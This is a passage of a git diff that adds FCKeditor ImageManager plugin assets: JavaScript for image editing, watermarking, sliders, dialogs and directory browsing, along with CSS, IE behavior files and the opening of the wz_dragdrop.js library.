+                       floater.css.Mozopacity = opacity / 100;
+                       // Safari 1.2, newer Firefox and Mozilla, CSS3
+                       floater.css.opacity = opacity / 100;
+               }
+       }
+
+       // change watermark position
+       function moveWatermark(x, y)
+       {
+               if (editor.window.watermarkingEnabled)
+               {
+                       floater = editor.window.dd.elements.floater;
+                       background = editor.window.dd.elements.background;
+
+                       x = background.x + (background.w - floater.w) * x;
+                       y = background.y + (background.h - floater.h) * y;
+                       
+                       floater.moveTo(x, y);
+               }
+       }
+
+       // color the background of the watermark
+       function colorWatermarkBG(color)
+       {
+               if (background = editor.window.document.getElementById("background"))
+               {
+                       // saving background image and removing
+                       if (background.style.backgroundImage != "" && background.style.backgroundImage != "url(img/backgroundGrid.gif)")
+                       {
+                               this.backgroundImage = background.style.backgroundImage;
+                       }
+                       background.style.backgroundImage = "";
+
+                       // show background image
+                       if (color == "")
+                       {
+                               background.style.backgroundImage = this.backgroundImage;
+                               background.style.backgroundColor = "";
+                       }
+                       // show grid
+                       else if(color == "grid")
+                       {
+                               background.style.backgroundImage = "url(img/backgroundGrid.gif)";
+                               background.style.backgroundColor = "";
+                       }
+                       // set color
+                       else
+                       {
+                               background.style.backgroundColor = color;
+                       }
+               }
+       }
+
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       init = function()
+       {
+               var bottom = document.getElementById('bottom');
+               if(window.opener)
+               {
+                       __dlg_init(bottom);
+                       __dlg_translate(I18N);
+               }
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editorFrame.css b/fckeditor/editor/plugins/ImageManager/assets/editorFrame.css
new file mode 100755 (executable)
index 0000000..b963710
--- /dev/null
@@ -0,0 +1,8 @@
+body { margin: 0; padding: 0;  background-color: #eee; }
+table { width: 100%; }
+table td { text-align: center; }
+.crop{cursor:crosshair;}
+.selection { border: dotted 1px #000000; position:absolute; width: 0px; height: 1px; z-index:5; }
+.selectionWhite{ border: dotted 1px #FFFFFF; position:absolute; width: 0px; height: 1px; z-index:5; }
+.handleBox{ z-index:105; }
+.error { font-size:large; font-weight:bold; color:#c00; font-family: Helvetica, sans-serif; } 
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/editorFrame.js b/fckeditor/editor/plugins/ImageManager/assets/editorFrame.js
new file mode 100755 (executable)
index 0000000..b20a0ed
--- /dev/null
@@ -0,0 +1,126 @@
+/**
+ * Javascript used by the editorFrame.php, it basically initializes the frame.
+ * @author $Author: matrix $
+ * @author $Author: matrix $ - watermarking and replace code + several small enhancements <http://fckplugins.saulmade.nl>
+ * @version $Id: editorFrame.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+var topDoc = window.top.document;
+
+var t_cx = topDoc.getElementById('cx');
+var t_cy = topDoc.getElementById('cy');
+var t_cw = topDoc.getElementById('cw');
+var t_ch = topDoc.getElementById('ch');
+
+var m_sx = topDoc.getElementById('sx');
+var m_sy = topDoc.getElementById('sy');
+var m_w = topDoc.getElementById('mw');
+var m_h = topDoc.getElementById('mh');
+var m_a = topDoc.getElementById('ma');
+var m_d = topDoc.getElementById('md');
+
+var s_sw = topDoc.getElementById('sw');
+var s_sh = topDoc.getElementById('sh');
+
+var r_ra = topDoc.getElementById('ra');
+
+var pattern = "img/2x2.gif";
+
+function doSubmit(action)
+{
+       // hiding action buttons
+       var buttons = parent.document.getElementById('buttons');
+       buttons.style.display = 'none';
+       // hiding current action's controls
+       var tools = parent.document.getElementById('tools_' + action);
+       tools.style.display = 'none';
+
+    if (action == 'watermark')
+    {
+               //show message
+               parent.showMessage('watermarking');
+
+               var watermarkX = dd.elements.floater.x - dd.elements.background.x;
+               var watermarkY = dd.elements.floater.y - dd.elements.background.y;
+
+               var opacity = parseInt(topDoc.getElementById('sliderfieldwatermark').value);
+               var watermarkFullPath = topDoc.getElementById('watermark_file').options[topDoc.getElementById('watermark_file').selectedIndex].getAttribute("fullPath");
+        var url = "editorFrame.php?img="+currentImageFile+"&action=watermark&opacity=" + opacity + '&watermarkFullPath=' + watermarkFullPath + '&watermarkX=' + watermarkX + '&watermarkY=' + watermarkY;
+
+        location.href = url;
+    }   
+    else if (action == 'crop')
+    {
+               //show message
+               parent.showMessage('cropping');
+
+               var url = "editorFrame.php?img="+currentImageFile+"&action=crop&params="+parseInt(t_cx.value)+','+parseInt(t_cy.value)+','+ parseInt(t_cw.value)+','+parseInt(t_ch.value);
+
+        location.href = url;
+    }   
+    else if (action == 'scale')
+    {
+               //show message
+               parent.showMessage('scaling');
+
+        var url = "editorFrame.php?img="+currentImageFile+"&action=scale&params="+parseInt(s_sw.value)+','+parseInt(s_sh.value);
+
+        location.href = url;
+    }
+    else if (action == 'rotate')
+    {
+               //show message
+               parent.showMessage('rotating');
+
+        var flip = topDoc.getElementById('flip');
+
+        if(flip.value == 'hoz' || flip.value == 'ver') 
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=flip&params="+flip.value;
+        else if (isNaN(parseFloat(r_ra.value))==false)
+            location.href = "editorFrame.php?img="+currentImageFile+"&action=rotate&params="+parseFloat(r_ra.value);
+    }
+    else if(action == 'save')
+       {
+               //show message
+               parent.showMessage('saving');
+
+        var s_file = topDoc.getElementById('save_filename');
+        var s_format = topDoc.getElementById('save_format');
+        var s_quality = topDoc.getElementById('sliderfieldsave');
+
+        var format = s_format.value.split(",");
+        if(s_file.value.length <= 0) 
+               {
+            alert(i18n('Please enter a filename to save.'));
+        }
+        else
+        {
+            var filename = encodeURI(s_file.value);
+            var quality = parseInt(s_quality.value);
+            var url = "editorFrame.php?img="+currentImageFile+"&action=save&params="+format[0]+","+quality+"&file="+filename;
+
+            location.href = url;
+        }
+    }
+}
+
+
+function addEvent(obj, evType, fn)
+{ 
+       if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+       else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+       else {  return false; } 
+} 
+
+var jg_doc;
+
+function init()
+{
+       jg_doc = new jsGraphics("imgCanvas"); // draw directly into document
+       jg_doc.setColor("#000000"); // black
+
+       initEditor();
+}
+
+addEvent(window, 'load', init);
diff --git a/fckeditor/editor/plugins/ImageManager/assets/hover.htc b/fckeditor/editor/plugins/ImageManager/assets/hover.htc
new file mode 100755 (executable)
index 0000000..555d820
--- /dev/null
@@ -0,0 +1,34 @@
+<attach event="onmouseover" handler="hoverRollOver" />
+<attach event="onmouseout" handler="hoverRollOff" />
+<script type="text/javascript">
+//
+//     Simple behaviour for IE5+ to emulate :hover CSS pseudo-class.
+//  Experimental ver 0.1
+//
+//     This is an experimental version! Handle with care!
+//     Manual at: http://www.hszk.bme.hu/~hj130/css/list_menu/hover/
+//
+
+function hoverRollOver() {
+       
+       element.origClassName = element.className;      // backup origonal className
+       
+       var tempClassStr = element.className;           
+       
+       tempClassStr += "Hover";                                        // convert name+'Hover' the last class name     to emulate tag.class:hover
+       
+       tempClassStr = tempClassStr.replace(/\s/g,"Hover ");    //convert name+'Hover' the others to emulate tag.class:hover
+       
+       tempClassStr += " hover";                               // add simple 'hover' class name to emulate tag:hover
+       
+       element.className = element.className + " " + tempClassStr; 
+       
+       //alert(element.className);
+       //window.status = element.className;            // only for TEST
+}
+function hoverRollOff() {
+       element.className = element.origClassName;
+}
+
+</script>
+
diff --git a/fckeditor/editor/plugins/ImageManager/assets/imagelist.css b/fckeditor/editor/plugins/ImageManager/assets/imagelist.css
new file mode 100755 (executable)
index 0000000..0df5f5d
--- /dev/null
@@ -0,0 +1,10 @@
+body { margin: 0; padding: 0; }
+.block { height: 98px; width: 98px; border: 1px solid threedface; text-align: center; behavior: url(assets/hover.htc ); }
+.block a img { border: 0 none; }
+.block:hover, .block.hover{ background-color: #ffc; }
+.edit { font-size: 9pt; font-family: "MS Sans Serif", Geneva, sans-serif; padding-top: 3px;}
+.edit a { border: 1px solid white; padding: 3px; }
+.edit a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; background-color: #ffc; }
+.edit a img { border: 0 none; vertical-align: bottom; }
+.noResult { font-size:large; font-weight:bold; color:#ccc; font-family: Helvetica, sans-serif;  text-align: center;  padding-top: 60px;   }
+.error { color:#c00; font-weight:bold; font-size: medium; font-family: Helvetica, sans-serif; text-align: center;  padding-top: 65px;}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/images.js b/fckeditor/editor/plugins/ImageManager/assets/images.js
new file mode 100755 (executable)
index 0000000..e36e1c3
--- /dev/null
@@ -0,0 +1,106 @@
+/**
+ * Functions for the image listing, used by images.php only    
+ * @author $Author: matrix $
+ * @version $Id: images.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+       function changeDir(newDir) 
+       {
+               showMessage('Loading');
+               location.href = "images.php?dir="+newDir;
+       }
+
+
+       function newFolder(dir, newDir) 
+       {
+               location.href = "images.php?dir="+dir+"&newDir="+newDir;
+       }
+
+       //update the dir list in the parent window.
+       function updateDir(newDir)
+       {
+               var selection = window.top.document.getElementById('dirPath');
+               if(selection)
+               {
+                       for(var i = 0; i < selection.length; i++)
+                       {
+                               var thisDir = selection.options[i].text;
+                               if(thisDir == newDir)
+                               {
+                                       selection.selectedIndex = i;
+                                       showMessage('Loading');
+                                       break;
+                               }
+                       }               
+               }
+       }
+
+       function selectImage(filename, alt, width, height) 
+       {
+               var topDoc = window.top.document;
+               
+               var obj = topDoc.getElementById('f_file');  obj.value = filename;
+               var obj = topDoc.getElementById('f_url');  obj.value = filename;
+               var obj = topDoc.getElementById('f_width');  obj.value = width;
+               var obj = topDoc.getElementById('f_width'); obj.value = width;
+               var obj = topDoc.getElementById('f_height'); obj.value = height;
+               var obj = topDoc.getElementById('f_alt'); obj.value = alt;
+               var obj = topDoc.getElementById('orginal_width'); obj.value = width;
+               var obj = topDoc.getElementById('orginal_height'); obj.value = height;          
+       }
+
+       function showMessage(newMessage) 
+       {
+               var topDoc = window.top.document;
+
+               var message = topDoc.getElementById('message');
+               var messages = topDoc.getElementById('messages');
+               if(message && messages)
+               {
+                       if(message.firstChild)
+                               message.removeChild(message.firstChild);
+
+                       message.appendChild(topDoc.createTextNode(i18n(newMessage)));
+                       
+                       messages.style.display = "block";
+               }
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function confirmDeleteFile(file) 
+       {
+               if(confirm(i18n("Delete file?")))
+                       return true;
+       
+               return false;           
+       }
+
+       function confirmDeleteDir(dir, count) 
+       {
+               if(count > 0)
+               {
+                       alert(i18n("Please delete all files/folders inside the folder you wish to delete first."));
+                       return;
+               }
+
+               if(confirm(i18n("Delete folder?"))) 
+                       return true;
+
+               return false;
+       }
+
+       addEvent(window, 'load', init);
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/manager.css b/fckeditor/editor/plugins/ImageManager/assets/manager.css
new file mode 100755 (executable)
index 0000000..c09857b
--- /dev/null
@@ -0,0 +1,19 @@
+html, body {  background-color: ButtonFace;  color: ButtonText; font: 11px Tahoma,Verdana,sans-serif; margin: 0; padding: 0;}
+body { padding: 5px; }
+fieldset { padding: 0;}
+.title { background-color: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px; border-bottom: 1px  solid black; letter-spacing: 2px;}
+form { padding: 0px;  margin: 0 auto; width: 550px;}
+.dirWidth { width: 70%; }
+a { padding: 5px; border: 1px solid ButtonFace;        }       
+a img  { border: 0; }  
+a:hover { border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; }
+.dirs {        padding: 1em;   }
+.imageFrame { width: 525px; height: 145px; margin: 0 auto; margin-top: 1em; background-color: White;}
+.smallWidth{ width: 4em; }
+.largelWidth{ width: 22em; }
+.inputTable { margin: 1em auto; }
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+.buttons { width: 70px; text-align: center; }
+.clearboth{ clear: both; }
+#messages { position: relative; left: 175px; top: 115px; background-color: white; width:200px;  float: left; margin-top: -52px; border: 1px solid #ccc; text-align: center; padding: 15px; }
+#message  { font-size: 15px; font-weight: bold; color: #69c; }
diff --git a/fckeditor/editor/plugins/ImageManager/assets/manager.js b/fckeditor/editor/plugins/ImageManager/assets/manager.js
new file mode 100755 (executable)
index 0000000..1f42565
--- /dev/null
@@ -0,0 +1,259 @@
+/**
+ * Functions for the ImageManager, used by manager.php only    
+ * @author $Author: matrix $
+ * @version $Id: manager.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+ * @package ImageManager
+ */
+       
+       //Translation
+       function i18n(str) {
+               if(I18N)
+                 return (I18N[str] || str);
+               else
+                       return str;
+       };
+
+
+       //set the alignment options
+       function setAlign(align) 
+       {
+               var selection = document.getElementById('f_align');
+               for(var i = 0; i < selection.length; i++)
+               {
+                       if(selection.options[i].value == align)
+                       {
+                               selection.selectedIndex = i;
+                               break;
+                       }
+               }
+       }
+
+       //initialise the form
+       init = function () 
+       {
+               __dlg_init();
+
+               if(I18N)
+                       __dlg_translate(I18N);
+
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm) uploadForm.target = 'imgManager';
+
+               var param = window.dialogArguments;
+               if (param) 
+               {
+                       // strip the extra url details off the passed url. make sure the url still starts with a /
+                       param["f_url"] = stripBaseURL(param["f_url"]);
+                       if (param["f_url"].indexOf("/") != 0) param["f_url"] = '/'+param["f_url"];
+
+                       document.getElementById("f_url").value = param["f_url"];
+                       document.getElementById("f_alt").value = param["f_alt"];
+                       document.getElementById("f_border").value = param["f_border"];
+                       document.getElementById("f_vert").value = param["f_vert"];
+                       document.getElementById("f_horiz").value = param["f_horiz"];
+                       document.getElementById("f_width").value = param["f_width"];
+                       document.getElementById("f_height").value = param["f_height"];
+                       setAlign(param["f_align"]);
+               }
+
+               document.getElementById("f_url").focus();
+       }
+
+       // Need to strip the base url (and any appended http://... stuff if editing an image
+    function stripBaseURL (string) {
+               // strip off the server name if it exists
+               if (base_url.indexOf('://') == -1) {
+                       string = string.replace('https://'+server_name,'');
+                       string = string.replace('http://'+server_name,'');
+               }
+
+        // strip off the base url if it exists
+        string = string.replace(base_url, '');
+               return string;
+    
+       };
+
+
+       function onCancel() 
+       {
+               __dlg_close(null);
+               return false;
+       };
+
+       function onOK() 
+       {
+               // pass data back to the calling window
+               var fields = ["f_url", "f_alt", "f_align", "f_border", "f_horiz", "f_vert", "f_height", "f_width","f_file"];
+               var param = new Object();
+               for (var i in fields) 
+               {
+                       var id = fields[i];
+                       var el = document.getElementById(id);
+                       if(id == "f_url" && el.value.indexOf('://') < 0 )
+                               param[id] = makeURL(base_url,el.value);
+                       else
+                               param[id] = el.value;
+               }
+               __dlg_close(param);
+               return false;
+       };
+
+       //similar to the Files::makeFile() in Files.php
+       function makeURL(pathA, pathB) 
+       {
+               if(pathA.substring(pathA.length-1) != '/')
+                       pathA += '/';
+
+               if(pathB.charAt(0) == '/');     
+                       pathB = pathB.substring(1);
+
+               return pathA+pathB;
+       }
+
+
+       function updateDir(selection) 
+       {
+               var newDir = selection.options[selection.selectedIndex].value;
+               changeDir(newDir);
+       }
+
+       function goUpDir() 
+       {
+               var selection = document.getElementById('dirPath');
+               var currentDir = selection.options[selection.selectedIndex].text;
+               if(currentDir.length < 2)
+                       return false;
+               var dirs = currentDir.split('/');
+               
+               var search = '';
+
+               for(var i = 0; i < dirs.length - 2; i++)
+               {
+                       search += dirs[i]+'/';
+               }
+
+               for(var i = 0; i < selection.length; i++)
+               {
+                       var thisDir = selection.options[i].text;
+                       if(thisDir == search)
+                       {
+                               selection.selectedIndex = i;
+                               var newDir = selection.options[i].value;
+                               changeDir(newDir);
+                               break;
+                       }
+               }
+       }
+
+       function changeDir(newDir) 
+       {
+               if(typeof imgManager != 'undefined')
+                       imgManager.changeDir(newDir);
+       }
+
+       function toggleConstrains(constrains) 
+       {
+               var lockImage = document.getElementById('imgLock');
+               var constrains = document.getElementById('constrain_prop');
+
+               if(constrains.checked) 
+               {
+                       lockImage.src = "img/locked.gif";       
+                       checkConstrains('width') 
+               }
+               else
+               {
+                       lockImage.src = "img/unlocked.gif";     
+               }
+       }
+
+       function checkConstrains(changed) 
+       {
+               //alert(document.form1.constrain_prop);
+               var constrains = document.getElementById('constrain_prop');
+               
+               if(constrains.checked) 
+               {
+                       var obj = document.getElementById('orginal_width');
+                       var orginal_width = parseInt(obj.value);
+                       var obj = document.getElementById('orginal_height');
+                       var orginal_height = parseInt(obj.value);
+
+                       var widthObj = document.getElementById('f_width');
+                       var heightObj = document.getElementById('f_height');
+                       
+                       var width = parseInt(widthObj.value);
+                       var height = parseInt(heightObj.value);
+
+                       if(orginal_width > 0 && orginal_height > 0) 
+                       {
+                               if(changed == 'width' && width > 0) {
+                                       heightObj.value = parseInt((width/orginal_width)*orginal_height);
+                               }
+
+                               if(changed == 'height' && height > 0) {
+                                       widthObj.value = parseInt((height/orginal_height)*orginal_width);
+                               }
+                       }                       
+               }
+       }
+
+       function showMessage(newMessage) 
+       {
+               var message = document.getElementById('message');
+               var messages = document.getElementById('messages');
+               if(message.firstChild)
+                       message.removeChild(message.firstChild);
+
+               message.appendChild(document.createTextNode(i18n(newMessage)));
+               
+               messages.style.display = "block";
+       }
+
+       function addEvent(obj, evType, fn)
+       { 
+               if (obj.addEventListener) { obj.addEventListener(evType, fn, true); return true; } 
+               else if (obj.attachEvent) {  var r = obj.attachEvent("on"+evType, fn);  return r;  } 
+               else {  return false; } 
+       } 
+
+       function doUpload() 
+       {
+               
+               var uploadForm = document.getElementById('uploadForm');
+               if(uploadForm)
+                       showMessage('Uploading');
+       }
+
+       function refresh()
+       {
+               var selection = document.getElementById('dirPath');
+               updateDir(selection);
+       }
+
+
+       function newFolder() 
+       {
+               var selection = document.getElementById('dirPath');
+               var dir = selection.options[selection.selectedIndex].value;
+
+               Dialog("newFolder.html", function(param) 
+               {
+                       if (!param) // user must have pressed Cancel
+                               return false;
+                       else
+                       {
+                               var folder = param['f_foldername'];
+                               if(folder == thumbdir)
+                               {
+                                       alert(i18n('Invalid folder name, please choose another folder name.'));
+                                       return false;
+                               }
+
+                               if (folder && folder != '' && typeof imgManager != 'undefined') 
+                                       imgManager.newFolder(dir, encodeURI(folder)); 
+                       }
+               }, null);
+       }
+
+       addEvent(window, 'load', init);
diff --git a/fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc b/fckeditor/editor/plugins/ImageManager/assets/pngbehavior.htc
new file mode 100755 (executable)
index 0000000..c857adc
--- /dev/null
@@ -0,0 +1,62 @@
+<public:component>
+<public:attach event="onpropertychange" onevent="propertyChanged()" />
+<script>
+
+/*
+ * PNG Behavior
+ *
+ * This script was created by Erik Arvidsson (http://webfx.eae.net/contact.html#erik)
+ * for WebFX (http://webfx.eae.net)
+ * Copyright 2002-2004
+ *
+ * For usage see license at http://webfx.eae.net/license.html
+ *
+ */
+
+var supported = /MSIE (5\.5)|[6789]/.test(navigator.userAgent) && navigator.platform == "Win32";
+var realSrc;
+var blankSrc = "assets/blank.gif";
+
+if (supported) fixImage();
+
+function propertyChanged() {
+   if (!supported) return;
+
+   var pName = event.propertyName;
+   if (pName != "src") return;
+   // if not set to blank
+   if ( ! new RegExp(blankSrc).test(src))
+      fixImage();
+};
+
+function fixImage() {
+   // get src
+   var src = element.src;
+
+   // check for real change
+   if (src == realSrc) {
+      element.src = blankSrc;
+      return;
+   }
+
+   if ( ! new RegExp(blankSrc).test(src)) {
+      // backup old src
+      realSrc = src;
+   }
+
+   // test for png
+   if ( /\.png$/.test( realSrc.toLowerCase() ) ) {
+      // set blank image
+      element.src = blankSrc;
+      // set filter
+      element.runtimeStyle.filter = "progid:DXImageTransform.Microsoft.AlphaImageLoader(src='" +
+                                     src + "',sizingMethod='scale')";
+   }
+   else {
+      // remove filter
+      element.runtimeStyle.filter = "";
+   }
+}
+
+</script>
+</public:component>
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/popup.js b/fckeditor/editor/plugins/ImageManager/assets/popup.js
new file mode 100755 (executable)
index 0000000..8473f1a
--- /dev/null
@@ -0,0 +1,131 @@
+// htmlArea v3.0 - Copyright (c) 2002, 2003 interactivetools.com, inc.
+// This copyright notice MUST stay intact for use (see license.txt).
+//
+// Portions (c) dynarch.com, 2003
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon.
+//   http://dynarch.com/mishoo
+//
+// $Id: popup.js,v 1.1.1.1 2009/12/18 17:47:01 matrix Exp $
+
+// Slightly modified for the ImageManager, window resizing is done only
+// by each window's script. Added translation for a few other HTML elements.
+
+function getAbsolutePos(el) {
+       var r = { x: el.offsetLeft, y: el.offsetTop };
+       if (el.offsetParent) {
+               var tmp = getAbsolutePos(el.offsetParent);
+               r.x += tmp.x;
+               r.y += tmp.y;
+       }
+       return r;
+};
+
+function comboSelectValue(c, val) {
+       var ops = c.getElementsByTagName("option");
+       for (var i = ops.length; --i >= 0;) {
+               var op = ops[i];
+               op.selected = (op.value == val);
+       }
+       c.value = val;
+};
+
+function __dlg_onclose() {
+       if(opener.Dialog._return)
+               opener.Dialog._return(null);
+};
+
+function __dlg_init(bottom) {
+       var body = document.body;
+       var body_height = 0;
+       if (typeof bottom == "undefined") {
+               var div = document.createElement("div");
+               body.appendChild(div);
+               var pos = getAbsolutePos(div);
+               body_height = pos.y;
+       } else {
+               var pos = getAbsolutePos(bottom);
+               body_height = pos.y + bottom.offsetHeight;
+       }
+       if(opener && opener.Dialog && opener.Dialog._arguments)
+               window.dialogArguments = opener.Dialog._arguments;
+       if (!document.all) {
+               //window.sizeToContent();
+               //window.sizeToContent();       // for reasons beyond understanding,
+                                       // only if we call it twice we get the
+                                       // correct size.
+               window.addEventListener("unload", __dlg_onclose, true);
+               // center on parent
+               var x = opener.screenX + (opener.outerWidth - window.outerWidth) / 2;
+               var y = opener.screenY + (opener.outerHeight - window.outerHeight) / 2;
+               
+               window.moveTo(x, y);
+               //window.innerWidth = body.offsetWidth + 5;
+               //window.innerHeight = body_height + 2;
+       } else {
+               // window.dialogHeight = body.offsetHeight + 50 + "px";
+               // window.dialogWidth = body.offsetWidth + "px";
+               //window.resizeTo(body.offsetWidth, body_height);
+               var ch = body.clientHeight;
+               var cw = body.clientWidth;
+               //window.resizeBy(body.offsetWidth - cw, body_height - ch);
+               var W = body.offsetWidth;
+               var H = 2 * body_height - ch;
+               if(ch <= 0) H = body_height;
+               var x = (screen.availWidth - W) / 2;
+               var y = (screen.availHeight - H) / 2;
+               //alert('x:'+x+' y:'+y+' ch:'+ch);
+               if(Dialog.is_ie)
+                       window.moveTo(x, y);
+               else //opera
+                       window.moveTo(x, y - H/4);
+       }
+       document.body.onkeypress = __dlg_close_on_esc;
+};
+
+function __dlg_translate(i18n) {
+       var types = ["span", "option", "td", "button", "div", "label", "a","img", "legend"];
+       for (var type in types) {
+               var spans = document.getElementsByTagName(types[type]);
+               for (var i = spans.length; --i >= 0;) {
+                       var span = spans[i];
+                       if (span.firstChild && span.firstChild.data) {                          
+                               var txt = i18n[span.firstChild.data];
+                               if (txt) span.firstChild.data = txt;
+                       }
+                       if(span.title){
+                               var txt = i18n[span.title];
+                               if(txt) span.title = txt;
+                       }
+                       if(span.alt){
+                               var txt = i18n[span.alt];
+                               if(txt) span.alt = txt;
+                       }
+               }
+       }
+       var txt = i18n[document.title];
+       if (txt)
+               document.title = txt;
+};
+
+// closes the dialog and passes the return info upper.
+function __dlg_close(val) {
+       opener.Dialog._return(val);
+       window.close();
+};
+
+function __dlg_close_on_esc(ev) {
+       ev || (ev = window.event);
+       if (ev.keyCode == 27) {
+               window.close();
+               return false;
+       }
+       return true;
+};
+
+function Dialog(){};
+Dialog.agt = navigator.userAgent.toLowerCase();
+Dialog.is_ie      = ((Dialog.agt.indexOf("msie") != -1) && (Dialog.agt.indexOf("opera") == -1));
diff --git a/fckeditor/editor/plugins/ImageManager/assets/slider.js b/fckeditor/editor/plugins/ImageManager/assets/slider.js
new file mode 100755 (executable)
index 0000000..e29f5d5
--- /dev/null
@@ -0,0 +1,112 @@
+/***********************************************************************
+** Title.........:  Simple Lite Slider for Image Editor
+** Version.......:  1.1
+** Author........:  Xiang Wei ZHUO <wei@zhuo.org>
+** Filename......:  slider.js
+** Last changed..:  31 Mar 2004 
+** Notes.........:  Works in IE and Mozilla
+**/ 
+
+var ie=document.all
+var ns6=document.getElementById&&!document.all
+
+document.onmouseup = captureStop;
+
+var currentSlider = null,sliderField = null;
+var rangeMin = null, rangeMax= null, sx = -1, sy = -1, initX=0;
+
+function getMouseXY(e) {
+
+    x = ns6? e.clientX: event.clientX
+    y = ns6? e.clientY: event.clientY
+    
+    if (sx < 0) sx = x; if (sy < 0) sy = y;
+
+    var dx = initX +(x-sx);
+    
+    if (dx <= rangeMin)
+        dx = rangeMin;
+    else if (dx >= rangeMax)
+        dx = rangeMax;
+
+    var range = (dx-rangeMin)/(rangeMax - rangeMin)*100;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = dx+"px";
+        
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+
+       if (currentSlider.id == "sliderbarwatermark")
+       {
+               changeWatermarkOpacity(dx);
+       }
+
+       return false;
+}
+
+function initSlider(action)
+{
+       currentSlider = document.getElementById('sliderbar' + action);
+    sliderField = document.getElementById('sliderfield' + action);
+
+    if (rangeMin == null)
+        rangeMin = 3
+    if (rangeMax == null)
+    {
+        var track = document.getElementById('slidertrack' + action);
+        rangeMax = parseInt(track.style.width);
+    }
+
+}
+
+function updateSlider(value, action)
+{
+       initSlider(action);
+
+    var newValue = parseInt(value)/100*(rangeMax-rangeMin);
+
+    if (newValue <= rangeMin)
+        newValue = rangeMin;
+    else if (newValue >= rangeMax)
+        newValue = rangeMax;
+
+    if (currentSlider !=  null)
+        currentSlider.style.left = newValue+"px";
+    
+    var range = newValue/(rangeMax - rangeMin)*100;
+
+    if (sliderField != null)
+    {
+        sliderField.value = parseInt(range);
+    }
+
+       if (action == "watermark")
+       {
+               changeWatermarkOpacity(newValue);
+       }
+}
+
+function captureStart(action)
+{
+    initSlider(action);
+
+    initX = parseInt(currentSlider.style.left);
+    if (initX > rangeMax)
+        initX = rangeMax;
+    else if (initX < rangeMin)
+        initX = rangeMin;
+
+    document.onmousemove = getMouseXY;
+
+    return false;
+}
+
+function captureStop()
+{
+    sx = -1; sy = -1;
+    document.onmousemove = null;
+    return false;
+}
\ No newline at end of file
diff --git a/fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js b/fckeditor/editor/plugins/ImageManager/assets/wz_dragdrop.js
new file mode 100755 (executable)
index 0000000..e3a1b5a
--- /dev/null
@@ -0,0 +1,1331 @@
+/* This notice must be untouched at all times.
+
+wz_dragdrop.js v. 4.85
+The latest version is available at
+http://www.walterzorn.com
+or http://www.devira.com
+or http://www.walterzorn.de
+
+Copyright (c) 2002-2003 Walter Zorn. All rights reserved.
+Created 26. 8. 2002 by Walter Zorn (Web: http://www.walterzorn.com )
+Last modified: 10. 2. 2006
+
+This DHTML & Drag&Drop Library adds Drag&Drop functionality
+to the following types of html-elements:
+- images, even if not positioned via layers,
+  nor via stylesheets or any other kind of "hard-coding"
+- relatively and absolutely positioned layers (DIV elements).
+Moreover, it provides extended DHTML abilities.
+
+LICENSE: LGPL
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License (LGPL) as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
+
+For more details on the GNU Lesser General Public License,
+see http://www.gnu.org/copyleft/lesser.html
+*/
+
+
+// PATH TO THE TRANSPARENT 1*1 PX IMAGE (required by NS 4 as spacer)
+var spacer = 'img/transparentpixel.gif';
+
+
+//window.onerror = new Function('return true;');
+
+
+// Optional commands passed to SET_DHTML() on the html-page (g: may be applied globally, i: individually)
+var CLONE                      = 'C10nE';   // i  img    clone image
+var COPY                        = 'C0pY';      // i  img         create copies
+var DETACH_CHILDREN  = 'd37aCH';  // i  lyr      detach images
+var HORIZONTAL    = 'H0r1Z';   // i  img,lyr  horizontally draggable only
+var MAXHEIGHT          = 'm7x8I';   // i  img,lyr  maximum height limit, "
+var MAXOFFBOTTOM        = 'm7xd0wN'; // i  img,lyr  downward offset limit
+var MAXOFFLEFT    = 'm7x23Ft'; // i  img,lyr  leftward offset limit
+var MAXOFFRIGHT          = 'm7x0Ff8'; // i  img,lyr  rightward offset limit
+var MAXOFFTOP          = 'm7xu9';   // i  img,lyr  upward offset limit
+var MAXWIDTH            = 'm7xW1';   // i  img,lyr  maximum width limit, use with resizable or scalable
+var MINWIDTH            = 'm1nw1';   // i  img,lyr  minimum width limit, "
+var MINHEIGHT          = 'm1n8I';   // i  img,lyr  minimum height limit, "
+var NO_ALT                = 'no81T';   // gi img         disable alt and title attributes
